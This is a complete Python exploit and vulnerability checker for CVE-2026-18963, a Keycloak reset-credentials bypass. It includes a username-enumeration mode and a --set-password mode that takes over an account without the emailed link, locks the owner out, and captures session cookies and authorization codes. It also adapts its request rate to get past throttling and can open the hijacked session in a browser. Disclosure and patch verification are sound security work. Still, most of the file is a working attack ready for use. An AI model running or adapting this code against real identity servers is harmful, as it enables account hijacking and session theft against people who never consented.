# Exploit Title: Keycloak 26.7.2 - Unauthenticated Account Takeover
# Date: 2026-10-15
# Exploit Author: Abel Maldonado | Orevim
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://github.com/keycloak/keycloak/releases/tag/26.6.2
# Version: 26.0.0 - 26.4.14, 26.5.0 - 26.6.5, 26.7.0 - 26.7.1
# Tested on: Keycloak 26.6.2 (Docker, quay.io/keycloak/keycloak:26.6.2)
# CVE: CVE-2026-18963
# Advisory: https://github.com/keycloak/keycloak/security/advisories/GHSA-4gv3-mc9p-5wqc
# CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password)
# Type: webapps
# Platform: multiple
# Repo: https://github.com/orevim/CVE-2026-18963-PoC
# Research: https://orevim.co/research#cve-2026-18963
"""Proof of concept and vulnerability check for CVE-2026-18963.
CVE-2026-18963 is a reset-credentials flow bypass in Keycloak. An unscoped
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note lets an unauthenticated caller
re-render the authenticator selection screen bound to the email execution. On an
affected build that execution's action handler sets emailVerified and calls
success() without checking the action token, so the flow reaches the
update-password required action with no emailed link.
Affected: >= 26.0.0 < 26.4.15, >= 26.5.0 < 26.6.6, >= 26.7.0 < 26.7.2.
Patched in 26.4.15, 26.6.6 and 26.7.2; the 26.8.0 line ships with the fix.
Three modes:
--check decide whether the instance is affected, using a random
identifier that resolves to nothing. Sends no mail and
changes no account.
--check --users ... additionally report which identifiers resolve. On an
affected build a resolving identifier has emailVerified
set as a side effect.
--set-password complete the takeover. This locks the account holder out.
Endpoints come from the realm's OIDC discovery document and form fields come from
the forms themselves, so custom themes, custom paths and custom field names work
without edits. Everything else is an option. Playwright is imported only when
--open is used.
"""
from __future__ import annotations
import argparse
import base64
import dataclasses
import enum
import hashlib
import http.client
import http.cookiejar
import html
import json
import os
import random
import re
import secrets
import socket
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass, field
from html.parser import HTMLParser
from pathlib import Path
os.umask(0o077) # captures hold request and response material; keep them owner-only
# Protocol defaults. Every one of these can be replaced from the command line.
DISCOVERY_SUFFIX = ".well-known/openid-configuration"
RESET_PATH_MARKER = "login-actions/reset-credentials"
SELECTOR_FIELD = "tryAnotherWay=on"
USERNAME_FIELD = "username"
PASSWORD_FIELDS = ("password-new", "password-confirm")
HTML_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
class Outcome(enum.Enum):
NOT_VULNERABLE = "not-vulnerable"
ACCOUNT_ABSENT = "account-absent"
FORM_REACHED = "form-reached"
PASSWORD_SET = "password-set"
RATE_LIMITED = "rate-limited"
INCONCLUSIVE = "inconclusive"
@dataclass
class Target:
url: str | None = None
realm: str | None = None
discovery_url: str | None = None
auth_url: str | None = None
reset_url: str | None = None
client_id: str | None = None
redirect_uri: str | None = None
scope: str = "openid"
selector_field: str = SELECTOR_FIELD
username_field: str = USERNAME_FIELD
password_fields: tuple[str, ...] = PASSWORD_FIELDS
address: str | None = None
verify_tls: bool = True
timeout: float = 30.0
user_agent: str | None = None
headers: dict[str, str] = field(default_factory=dict)
def __post_init__(self) -> None:
if self.url:
self.url = self.url.rstrip("/")
if not (self.auth_url or self.discovery_url or (self.url and self.realm)):
raise ValueError(
"give --auth-url, or --discovery-url, or both --url and --realm"
)
if not self.discovery_url and self.url and self.realm:
realm = urllib.parse.quote(self.realm, safe="")
self.discovery_url = f"{self.url}/realms/{realm}/{DISCOVERY_SUFFIX}"
def origin_of(self, url: str) -> tuple[str, int]:
parts = urllib.parse.urlsplit(url)
port = parts.port or (443 if parts.scheme == "https" else 80)
return parts.hostname or "", port
@dataclass
class Step:
tag: str
method: str
url: str
status: int
location: str | None = None
retries: int = 0
@dataclass
class Result:
outcome: Outcome
identifier: str = ""
steps: list[Step] = field(default_factory=list)
form_url: str | None = None
authorization_code: str | None = None
session_cookies: list[str] = field(default_factory=list)
detail: str = ""
def as_dict(self) -> dict:
data = dataclasses.asdict(self)
data["outcome"] = self.outcome.value
return data
class ExploitError(RuntimeError):
"""The chain could not continue because a page did not carry what it needs."""
class RateLimited(RuntimeError):
"""The edge refused the request often enough that the run cannot continue."""
class Response:
__slots__ = ("status", "headers", "body", "url", "retries")
def __init__(self, status, headers, body, url, retries=0):
self.status = status
self.headers = headers
self.body = body
self.url = url
self.retries = retries
@property
def location(self) -> str | None:
return self.headers.get("Location")
@dataclass
class Form:
action: str
method: str
fields: dict[str, str]
def password_inputs(self) -> list[str]:
return [name for name, value in self.fields.items() if value == "\x00password"]
def body(self, overrides: dict[str, str]) -> str:
data = {
name: ("" if value.startswith("\x00") else value)
for name, value in self.fields.items()
}
data.update(overrides)
return urllib.parse.urlencode(data)
class _FormParser(HTMLParser):
"""Collect every form with its action, method and input fields.
An input whose type is password or which carries no value is recorded with a
sentinel so the caller can tell an empty field from one the page filled in.
"""
def __init__(self, base: str) -> None:
super().__init__(convert_charrefs=True)
self.base = base
self.forms: list[Form] = []
self.links: list[str] = []
self._current: Form | None = None
def handle_starttag(self, tag: str, attrs) -> None:
values = {key.lower(): (value or "") for key, value in attrs}
if tag == "form":
action = urllib.parse.urljoin(self.base, values.get("action", ""))
self._current = Form(action, values.get("method", "post").lower(), {})
self.forms.append(self._current)
elif tag == "a" and values.get("href"):
self.links.append(urllib.parse.urljoin(self.base, values["href"]))
elif tag in ("input", "textarea", "select") and self._current is not None:
name = values.get("name")
if not name or values.get("type") in ("submit", "button", "image"):
return
if values.get("type") == "password":
self._current.fields[name] = "\x00password"
else:
self._current.fields[name] = values.get("value") or "\x00empty"
def handle_endtag(self, tag: str) -> None:
if tag == "form":
self._current = None
def parse_page(body: str, base: str) -> _FormParser:
parser = _FormParser(base)
parser.feed(body)
return parser
def _unescape_js(value: str) -> str:
value = re.sub(r"\\u([0-9a-fA-F]{4})", lambda m: chr(int(m.group(1), 16)), value)
return html.unescape(value.replace("\\/", "/"))
def kc_context_url(body: str, key: str, base: str) -> str | None:
"""Read a URL out of the kcContext object a Keycloak theme embeds.
A single page application theme renders no server-side form, so the action
exists only in that object. Its keys are serialized as JSON, so one pattern
is enough and avoids parsing the surrounding JavaScript.
"""
match = re.search(rf'["\']{re.escape(key)}["\']\s*:\s*"([^"]+)"', body)
return urllib.parse.urljoin(base, _unescape_js(match.group(1))) if match else None
def form_body(form: Form | None, overrides: dict[str, str]) -> str:
return form.body(overrides) if form else urllib.parse.urlencode(overrides)
class Pacer:
"""Space requests out and settle on a rate the edge tolerates.
Retrying a 429 at the rate that caused it just earns another 429, so the
interval grows on every throttle and stays grown. It shrinks back toward the
requested rate only after a run of clean responses, and never goes faster
than the rate asked for or slower than the floor.
"""
def __init__(self, rate: float = 0.5, floor_rate: float = 0.05,
jitter: float = 0.25, max_retries: int = 4,
slow_factor: float = 2.0, recover_after: int = 8,
recover_factor: float = 1.4) -> None:
self.min_interval = 1.0 / rate if rate > 0 else 0.0
self.max_interval = 1.0 / floor_rate if floor_rate > 0 else 600.0
self.interval = self.min_interval
self.jitter = jitter
self.max_retries = max_retries
self.slow_factor = max(1.1, slow_factor)
self.recover_after = recover_after
self.recover_factor = max(1.01, recover_factor)
self.throttled = 0
self.slowdowns = 0
self._streak = 0
self._last = 0.0
@property
def rate(self) -> float:
return 1.0 / self.interval if self.interval > 0 else 0.0
def wait(self) -> None:
if self.interval <= 0:
return
gap = self.interval
if self.jitter:
gap *= 1.0 + random.uniform(-self.jitter, self.jitter)
remaining = gap - (time.monotonic() - self._last)
if remaining > 0:
time.sleep(remaining)
def mark(self) -> None:
self._last = time.monotonic()
def on_success(self) -> None:
if self.interval <= self.min_interval:
return
self._streak += 1
if self._streak >= self.recover_after:
self.interval = max(self.min_interval, self.interval / self.recover_factor)
self._streak = 0
def on_throttle(self, retry_after: str | None) -> float:
"""Widen the interval and return how long to sleep before retrying."""
self.throttled += 1
self._streak = 0
widened = min(self.max_interval, max(self.interval, 1.0) * self.slow_factor)
if widened > self.interval:
self.slowdowns += 1
self.interval = widened
if retry_after:
try:
return max(0.0, float(retry_after))
except ValueError:
pass
return self.interval
def report(self) -> dict:
return {
"requested_rate": round(1.0 / self.min_interval, 4) if self.min_interval else 0.0,
"effective_rate": round(self.rate, 4),
"throttled": self.throttled,
"slowdowns": self.slowdowns,
}
class _PinnedHTTPSConnection(http.client.HTTPSConnection):
"""Connect to a fixed address while keeping the Host header and SNI."""
def __init__(self, host, *, address, **kwargs):
super().__init__(host, **kwargs)
self._address = address
def connect(self) -> None:
self.sock = socket.create_connection((self._address, self.port), self.timeout)
self.sock = self._context.wrap_socket(self.sock, server_hostname=self.host)
class _PinnedHTTPSHandler(urllib.request.HTTPSHandler):
def __init__(self, address: str, context: ssl.SSLContext) -> None:
super().__init__(context=context)
self._address = address
self._ssl_context = context
def https_open(self, req):
def build(host, **kwargs):
kwargs.pop("context", None)
return _PinnedHTTPSConnection(
host, address=self._address, context=self._ssl_context, **kwargs
)
return self.do_open(build, req)
class _NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
class Exploit:
"""Drives the reset-credentials chain against one realm.
One instance holds one cookie jar, so build a new instance per identifier.
"""
def __init__(self, target: Target, pacer: Pacer | None = None,
out_dir: Path | None = None) -> None:
self.target = target
self.pacer = pacer or Pacer()
self.out_dir = out_dir
self.jar = http.cookiejar.CookieJar()
self.steps: list[Step] = []
self.throttle_events = 0
self.started = 0.0
self._counter = 0
self._discovery: dict | None = None
context = ssl.create_default_context()
if not target.verify_tls:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers: list[urllib.request.BaseHandler] = [
urllib.request.HTTPCookieProcessor(self.jar),
_NoRedirect(),
]
handlers.append(
_PinnedHTTPSHandler(target.address, context)
if target.address
else urllib.request.HTTPSHandler(context=context)
)
self._opener = urllib.request.build_opener(*handlers)
if out_dir:
out_dir.mkdir(parents=True, exist_ok=True)
def request(self, tag: str, url: str, data: str | None = None,
accept: str = HTML_ACCEPT) -> Response:
method = "POST" if data is not None else "GET"
attempt = 0
while True:
self.pacer.wait()
request = urllib.request.Request(
url, data=data.encode() if data is not None else None, method=method
)
request.add_header("Accept", accept)
if self.target.user_agent:
request.add_header("User-Agent", self.target.user_agent)
for name, value in self.target.headers.items():
request.add_header(name, value)
if data is not None:
request.add_header(
"Content-Type", "application/x-www-form-urlencoded"
)
try:
raw = self._opener.open(request, timeout=self.target.timeout)
status, headers, body = raw.status, raw.headers, raw.read()
except urllib.error.HTTPError as exc:
status, headers, body = exc.code, exc.headers, exc.read()
finally:
self.pacer.mark()
if status != 429:
self.pacer.on_success()
break
self.throttle_events += 1
if attempt >= self.pacer.max_retries:
break
delay = self.pacer.on_throttle(headers.get("Retry-After"))
attempt += 1
time.sleep(delay)
if status == 429:
raise RateLimited(
f"the edge answered 429 at step {tag} after {attempt} retries, "
f"with the interval widened to {self.pacer.interval:.1f}s; lower "
"--rate or raise --retries"
)
response = Response(
status, headers, body.decode("utf-8", "replace"), url, attempt
)
self._counter += 1
self.steps.append(Step(tag, method, url, status, response.location, attempt))
self._capture(tag, request, response)
return response
def _capture(self, tag: str, request, response: Response) -> None:
if not self.out_dir:
return
name = f"{self._counter:02d}-{tag}"
head = [f"{request.get_method()} {request.full_url}"]
head += [f"{key}: {value}" for key, value in request.header_items()]
head += ["", f"HTTP {response.status}"]
head += [f"{key}: {value}" for key, value in response.headers.items()]
(self.out_dir / f"{name}.headers").write_text("\n".join(head), "utf-8")
(self.out_dir / f"{name}.body").write_text(response.body, "utf-8")
def discovery(self) -> dict:
if self._discovery is None:
if not self.target.discovery_url:
raise ExploitError("no discovery URL and no --auth-url")
response = self.request(
"discovery", self.target.discovery_url, accept="application/json"
)
if response.status != 200:
raise ExploitError(
f"discovery returned HTTP {response.status}; pass --auth-url "
"to skip discovery"
)
try:
self._discovery = json.loads(response.body)
except json.JSONDecodeError as exc:
raise ExploitError(f"discovery is not JSON: {exc}") from exc
return self._discovery
def authorization_url(self) -> str:
if self.target.auth_url:
return self.target.auth_url
endpoint = self.discovery().get("authorization_endpoint")
if not endpoint:
raise ExploitError("discovery carries no authorization_endpoint")
if not self.target.client_id:
raise ExploitError("--client-id is required unless --auth-url is given")
redirect_uri = self.target.redirect_uri
if not redirect_uri:
issuer = self.discovery().get("issuer") or ""
redirect_uri = f"{issuer.rstrip('/')}/account/"
verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b"=")
digest = hashlib.sha256(verifier).digest()
query = urllib.parse.urlencode(
{
"client_id": self.target.client_id,
"redirect_uri": redirect_uri,
"response_type": "code",
"scope": self.target.scope,
"state": secrets.token_urlsafe(16),
"code_challenge": base64.urlsafe_b64encode(digest)
.rstrip(b"=")
.decode(),
"code_challenge_method": "S256",
}
)
joiner = "&" if "?" in endpoint else "?"
return f"{endpoint}{joiner}{query}"
def _reset_url(self) -> str:
if self.target.reset_url:
return self.target.reset_url
login = self.request("login", self.authorization_url())
for href in parse_page(login.body, login.url).links:
if RESET_PATH_MARKER in href:
return href
from_context = kc_context_url(
login.body, "loginResetCredentialsUrl", login.url
)
if from_context:
return from_context
raise ExploitError(
"the login page carries no reset-credentials link and no "
"loginResetCredentialsUrl, so either password recovery is disabled or "
"the theme renders it differently; pass --reset-url"
)
@staticmethod
def _action(response: Response, what: str) -> tuple[str, Form | None]:
"""Return where to post next, from the form or from kcContext.
A single page application theme renders no form element, so the action
lives only in kcContext. Without a form there are no fields to carry, and
the caller posts only what it overrides.
"""
page = parse_page(response.body, response.url)
if page.forms:
return page.forms[0].action, page.forms[0]
action = kc_context_url(response.body, "loginAction", response.url)
if action:
return action, None
raise ExploitError(f"the {what} page carries no form and no loginAction")
def _negative(self, identifier: str, detail: str) -> Result:
"""A negative verdict is only sound if nothing was throttled.
A 429 mid-chain costs a backoff, and Keycloak expires the authentication
session on its own clock, so a chain that resumes after a long sleep can
return the page a patched build returns. Reporting that as not affected
is the one failure mode a check tool must not have.
"""
if self.throttle_events:
return Result(
Outcome.INCONCLUSIVE, identifier, self.steps,
detail=(
f"{detail}, but {self.throttle_events} request(s) were throttled "
"first and the authentication session may have expired during "
"the backoff; re-run at a lower --rate before believing this"
),
)
return Result(Outcome.NOT_VULNERABLE, identifier, self.steps, detail=detail)
def run(self, identifier: str, new_password: str | None = None) -> Result:
self.started = time.monotonic()
reset_url = self._reset_url()
reset = self.request("reset", reset_url)
action, form = self._action(reset, "reset")
# The selector note is written here. Posting authenticationExecution
# instead switches execution and re-sends mail without reaching the defect.
selector_pair = dict(urllib.parse.parse_qsl(self.target.selector_field))
selector = self.request("tryanother", action, form_body(form, selector_pair))
action, form = self._action(selector, "selector")
fields = form.fields if form else {}
username_field = next(
(name for name in fields if name.lower() == "username"),
next((name for name, value in fields.items() if value == "\x00empty"),
self.target.username_field),
)
self.request("username", action, form_body(form, {username_field: identifier}))
reentry = self.request("reenter", reset_url)
try:
action, _ = self._action(reentry, "re-entry")
except ExploitError:
return self._negative(
identifier,
"re-entry rendered no selector, so the stale note was not honored",
)
# The empty body is the exploit. A populated body answers a challenge
# instead of invoking the handler.
advanced = self.request("action", action, "")
if advanced.status == 400:
return Result(
Outcome.ACCOUNT_ABSENT, identifier, self.steps,
detail="handler reached with no action token and no resolving user",
)
if not (300 <= advanced.status < 400 and advanced.location):
return self._negative(
identifier,
f"the empty post returned HTTP {advanced.status} and did not advance",
)
form_page = self.request(
"required-action", urllib.parse.urljoin(advanced.url, advanced.location)
)
action, form = self._action(form_page, "required-action")
result = Result(
Outcome.FORM_REACHED, identifier, self.steps, form_url=form_page.url,
detail="the set-password form was reached without an emailed token",
)
if new_password is None:
return result
# A theme that renders no form still posts to the server-side action,
# which reads the field names the required action defines.
names = (form.password_inputs() if form else []) or self.target.password_fields
final = self.request(
"setpassword", action,
form_body(form, {name: new_password for name in names}),
)
if not (300 <= final.status < 400 and final.location):
result.detail = (
f"the form returned HTTP {final.status} rather than a redirect, which "
"a password policy such as a reuse history will do"
)
return result
query = urllib.parse.parse_qs(urllib.parse.urlsplit(final.location).query)
result.outcome = Outcome.PASSWORD_SET
result.authorization_code = query.get("code", [None])[0]
result.session_cookies = sorted({cookie.name for cookie in self.jar})
result.form_url = final.location
result.detail = "the password was changed and the realm issued a session"
return result
def playwright_cookies(self) -> list[dict]:
cookies = []
for cookie in self.jar:
cookies.append(
{
"name": cookie.name,
"value": cookie.value or "",
"domain": cookie.domain,
"path": cookie.path or "/",
"secure": bool(cookie.secure),
}
)
return cookies
def browser_url(mode: str, result: Result, exploit: Exploit,
override: str | None = None) -> str:
"""Decide where the browser should land.
After --set-password the chain's last Location is a one-time authorization
code bound to a PKCE verifier the browser does not hold, so opening it burns
the code and fails. The account console carries the same proof with none of
that, because it is reached from the SSO cookies alone.
"""
if override:
return override
if mode == "session":
issuer = (exploit.discovery().get("issuer") or "").rstrip("/")
if not issuer:
raise ExploitError("discovery carries no issuer; pass --open-url")
return f"{issuer}/account/"
if not result.form_url:
raise ExploitError("the chain produced no page to open")
return result.form_url
def open_browser(exploit: Exploit, url: str, mode: str = "form", delay: float = 0.0,
hold: float = 60.0, channel: str | None = None,
max_age: float = 300.0, screenshot: Path | None = None) -> bool:
"""Open the page in a visible browser carrying the chain's cookies.
Returns whether the page that loaded is the one the mode expects. Keycloak
expires the authentication session on its own clock, so the age of the chain
plus the delay is checked against max_age before the browser starts.
"""
age = time.monotonic() - exploit.started if exploit.started else 0.0
if mode == "form" and max_age and age + delay > max_age:
print(
f"[!] the chain is {age:.0f}s old and the delay adds {delay:g}s, past the "
f"{max_age:g}s session budget. The form will likely have expired. "
"Raise --session-max-age to go ahead anyway."
)
return False
try:
from playwright.sync_api import sync_playwright
except ImportError as exc:
raise ExploitError(
"playwright is not installed: pip install playwright, then "
"playwright install chrome"
) from exc
if delay > 0:
print(f"[*] waiting {delay:g}s, then opening the browser {age + delay:.0f}s "
"into the session")
time.sleep(delay)
with sync_playwright() as driver:
launch = {"headless": False}
if channel:
launch["channel"] = channel
browser = driver.chromium.launch(**launch)
context = browser.new_context(
user_agent=exploit.target.user_agent,
ignore_https_errors=not exploit.target.verify_tls,
)
context.add_cookies(exploit.playwright_cookies())
page = context.new_page()
page.goto(url, wait_until="domcontentloaded")
if mode == "form":
landed = page.locator("input[type=password]").count() > 0
print("[+] the set-password form is open" if landed else
"[-] no password input on the page; the session has likely expired")
else:
landed = "login-actions" not in page.url and "/auth?" not in page.url
print("[+] the session carries into the console" if landed else
"[-] the console bounced to a login page, so the session was refused")
if screenshot:
screenshot.parent.mkdir(parents=True, exist_ok=True)
page.screenshot(path=str(screenshot), full_page=True)
print(f"[*] screenshot written to {screenshot}")
print(f"[*] browser open for {hold:g}s")
time.sleep(hold)
browser.close()
return landed
def load_identifiers(values: list[str] | None, path: Path | None) -> list[str]:
identifiers: list[str] = []
for value in values or []:
identifiers += [item.strip() for item in value.split(",") if item.strip()]
if path:
identifiers += [
line.strip()
for line in path.read_text("utf-8").splitlines()
if line.strip() and not line.startswith("#")
]
seen: set[str] = set()
return [i for i in identifiers if not (i in seen or seen.add(i))]
def run_check(target: Target, pacer: Pacer, identifiers: list[str],
out_dir: Path | None) -> tuple[Result, list[Result]]:
probe_id = f"{secrets.token_hex(8)}@{secrets.token_hex(4)}.invalid"
print(f"[*] probing with an identifier that resolves to nothing: {probe_id}")
probe = Exploit(target, pacer, _sub(out_dir, "probe")).run(probe_id)
if probe.outcome is Outcome.ACCOUNT_ABSENT:
print("[+] AFFECTED. The handler ran with no action token and no user.")
elif probe.outcome is Outcome.FORM_REACHED:
print("[+] AFFECTED. The set-password form was reached.")
else:
print(f"[-] NOT AFFECTED. {probe.detail}")
return probe, []
if not identifiers:
return probe, []
print(
f"\n[!] Checking {len(identifiers)} identifiers. On an affected build a "
"resolving\n identifier has emailVerified set as a side effect."
)
results = []
for index, identifier in enumerate(identifiers, 1):
try:
result = Exploit(target, pacer, _sub(out_dir, f"id-{index:03d}")).run(identifier)
except RateLimited as exc:
print(f" [{index}/{len(identifiers)}] {identifier}: rate limited, stopping")
results.append(Result(Outcome.RATE_LIMITED, identifier, detail=str(exc)))
break
except ExploitError as exc:
result = Result(Outcome.INCONCLUSIVE, identifier, detail=str(exc))
mark = {
Outcome.FORM_REACHED: "RESOLVES",
Outcome.ACCOUNT_ABSENT: "absent",
}.get(result.outcome, result.outcome.value)
print(f" [{index}/{len(identifiers)}] {identifier}: {mark}")
results.append(result)
return probe, results
def _sub(out_dir: Path | None, name: str) -> Path | None:
return out_dir / name if out_dir else None
def _pacing_line(pacer: Pacer) -> str:
report = pacer.report()
if not report["throttled"]:
return f"pacing: {report['effective_rate']:g} rps, nothing throttled"
return (
f"pacing: asked for {report['requested_rate']:g} rps, settled at "
f"{report['effective_rate']:g} rps after {report['throttled']} throttled "
f"request(s); pass --rate {report['effective_rate']:g} next time"
)
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="CVE-2026-18963 proof of concept and vulnerability check.",
epilog=(
"examples:\n"
" check an instance, changing nothing:\n"
" %(prog)s --url https://sso.example.com --realm demo "
"--client-id account-console --check\n\n"
" check which identifiers resolve, one request every four seconds:\n"
" %(prog)s --url https://sso.example.com --realm demo "
"--client-id account-console \\\n"
" --check --users-file names.txt --rate 0.25\n\n"
" reach the set-password form and show it in a browser:\n"
" %(prog)s --auth-url 'https://sso.example.com/realms/demo/...' \\\n"
" --username user@example.com --open form\n"
),
)
where = parser.add_argument_group("where to point it")
where.add_argument("--url", help="base URL of the Keycloak server")
where.add_argument("--realm", help="realm name")
where.add_argument("--discovery-url", help="OIDC discovery document, overrides --url and --realm")
where.add_argument("--auth-url", help="a full authorization URL, skips discovery")
where.add_argument("--reset-url", help="reset-credentials URL, if the theme hides the link")
where.add_argument("--client-id", help="a public client; required unless --auth-url is given")
where.add_argument("--redirect-uri", help="default: the account console of the discovered issuer")
where.add_argument("--scope", default="openid")
who = parser.add_argument_group("who to test")
who.add_argument("--username", help="one identifier, for a single run")
who.add_argument("--users", action="append", metavar="A,B", help="identifiers, repeatable")
who.add_argument("--users-file", type=Path, metavar="FILE", help="one identifier per line")
what = parser.add_argument_group("what to do")
what.add_argument("--check", action="store_true",
help="decide whether the instance is affected, then test any identifiers")
what.add_argument("--set-password", metavar="PASSWORD",
help="complete the takeover; this locks the account holder out")
pace = parser.add_argument_group("pacing")
pace.add_argument("--rate", type=float, default=0.5, metavar="RPS",
help="requests per second to aim for, and the ceiling the run "
"never exceeds; 0 for no spacing (default: %(default)s)")
pace.add_argument("--floor-rate", type=float, default=0.05, metavar="RPS",
help="slowest the run will go when throttled (default: %(default)s)")
pace.add_argument("--jitter", type=float, default=0.25, metavar="FRACTION",
help="randomize each gap by this fraction (default: %(default)s)")
pace.add_argument("--retries", type=int, default=4, metavar="N",
help="retries of a single throttled request (default: %(default)s)")
pace.add_argument("--slow-factor", type=float, default=2.0, metavar="X",
help="widen the interval by this much per 429 (default: %(default)s)")
pace.add_argument("--recover-after", type=int, default=8, metavar="N",
help="clean responses before speeding back up (default: %(default)s)")
pace.add_argument("--recover-factor", type=float, default=1.4, metavar="X",
help="narrow the interval by this much when recovering "
"(default: %(default)s)")
conn = parser.add_argument_group("connection")
conn.add_argument("--address", help="pin every connection to this IP address")
conn.add_argument("--insecure", action="store_true", help="skip TLS verification")
conn.add_argument("--timeout", type=float, default=30.0)
conn.add_argument("--user-agent")
conn.add_argument("--header", action="append", default=[], metavar="NAME:VALUE",
help="extra request header, repeatable")
conn.add_argument("--selector-field", default=SELECTOR_FIELD, metavar="K=V",
help="field that opens the selector (default: %(default)s)")
conn.add_argument("--username-field", default=USERNAME_FIELD, metavar="NAME",
help="identifier field on the reset form, used when the theme "
"renders no form to read it from (default: %(default)s)")
conn.add_argument("--password-fields", default=",".join(PASSWORD_FIELDS),
metavar="A,B",
help="password fields the required action expects, used when "
"the theme renders no form (default: %(default)s)")
out = parser.add_argument_group("output")
out.add_argument("--out", type=Path, help="write every request and response here")
out.add_argument("--json", action="store_true", help="print results as JSON")
browser = parser.add_argument_group("browser")
browser.add_argument("--open", choices=("off", "form", "session"), default="off",
help="show the set-password form, or the account console "
"the session reaches after --set-password")
browser.add_argument("--open-url", metavar="URL",
help="open this instead of the page the mode picks")
browser.add_argument("--open-delay", type=float, default=0.0, metavar="SECONDS",
help="wait this long before the browser starts")
browser.add_argument("--open-hold", type=float, default=60.0, metavar="SECONDS")
browser.add_argument("--open-channel", metavar="NAME",
help="playwright channel such as chrome or msedge")
browser.add_argument("--session-max-age", type=float, default=300.0,
metavar="SECONDS",
help="refuse to open the form past this age, since the "
"authentication session expires (default: %(default)s)")
browser.add_argument("--screenshot", type=Path, metavar="FILE",
help="save a full-page screenshot of what the browser shows")
return parser
def main(argv: list[str] | None = None) -> int:
parser = build_parser()
args = parser.parse_args(argv)
identifiers = load_identifiers(args.users, args.users_file)
if not args.check and not args.username:
parser.error("give --username, or --check")
if args.open == "session" and not args.set_password:
parser.error("--open session requires --set-password")
if args.set_password and args.check:
parser.error("--set-password is a single-account action; drop --check")
headers = {}
for item in args.header:
name, _, value = item.partition(":")
if not value:
parser.error(f"--header wants NAME:VALUE, got {item!r}")
headers[name.strip()] = value.strip()
password_fields = tuple(
name.strip() for name in args.password_fields.split(",") if name.strip()
)
if not password_fields:
parser.error("--password-fields wants at least one field name")
try:
target = Target(
url=args.url, realm=args.realm, discovery_url=args.discovery_url,
auth_url=args.auth_url, reset_url=args.reset_url, client_id=args.client_id,
redirect_uri=args.redirect_uri, scope=args.scope,
selector_field=args.selector_field,
username_field=args.username_field, password_fields=password_fields,
address=args.address,
verify_tls=not args.insecure, timeout=args.timeout,
user_agent=args.user_agent, headers=headers,
)
except ValueError as exc:
parser.error(str(exc))
pacer = Pacer(
rate=args.rate, floor_rate=args.floor_rate, jitter=args.jitter,
max_retries=args.retries, slow_factor=args.slow_factor,
recover_after=args.recover_after, recover_factor=args.recover_factor,
)
exploit: Exploit | None = None
try:
if args.check:
probe, results = run_check(target, pacer, identifiers, args.out)
payload = {
"probe": probe.as_dict(),
"identifiers": [r.as_dict() for r in results],
"pacing": pacer.report(),
}
if args.json:
print(json.dumps(payload, indent=2))
else:
if results:
resolved = [
r.identifier for r in results if r.outcome is Outcome.FORM_REACHED
]
print(f"\n{len(resolved)} of {len(results)} identifiers resolve")
for name in resolved:
print(f" {name}")
print(_pacing_line(pacer))
affected = probe.outcome in (Outcome.ACCOUNT_ABSENT, Outcome.FORM_REACHED)
return 0 if affected else 1
exploit = Exploit(target, pacer, args.out)
result = exploit.run(args.username, args.set_password)
except RateLimited as exc:
print(f"rate limited: {exc}", file=sys.stderr)
return 3
except ExploitError as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
except urllib.error.URLError as exc:
print(f"transport error: {exc.reason}", file=sys.stderr)
return 2
if args.json:
print(json.dumps(result.as_dict(), indent=2))
else:
for step in result.steps:
suffix = f" -> {step.location}" if step.location else ""
retried = f" ({step.retries} retries)" if step.retries else ""
print(f" {step.status} {step.method:4} {step.tag}{suffix}{retried}")
print(f"\n{result.outcome.value}: {result.detail}")
if result.authorization_code:
print(f"authorization code: {result.authorization_code}")
if result.session_cookies:
print(f"session cookies: {', '.join(result.session_cookies)}")
print(_pacing_line(pacer))
if args.open != "off" and exploit:
try:
open_browser(
exploit,
browser_url(args.open, result, exploit, args.open_url),
mode=args.open,
delay=args.open_delay,
hold=args.open_hold,
channel=args.open_channel,
max_age=args.session_max_age,
screenshot=args.screenshot,
)
except ExploitError as exc:
print(f"browser: {exc}", file=sys.stderr)
return 0 if result.outcome in (Outcome.FORM_REACHED, Outcome.PASSWORD_SET) else 1
if __name__ == "__main__":
sys.exit(main())
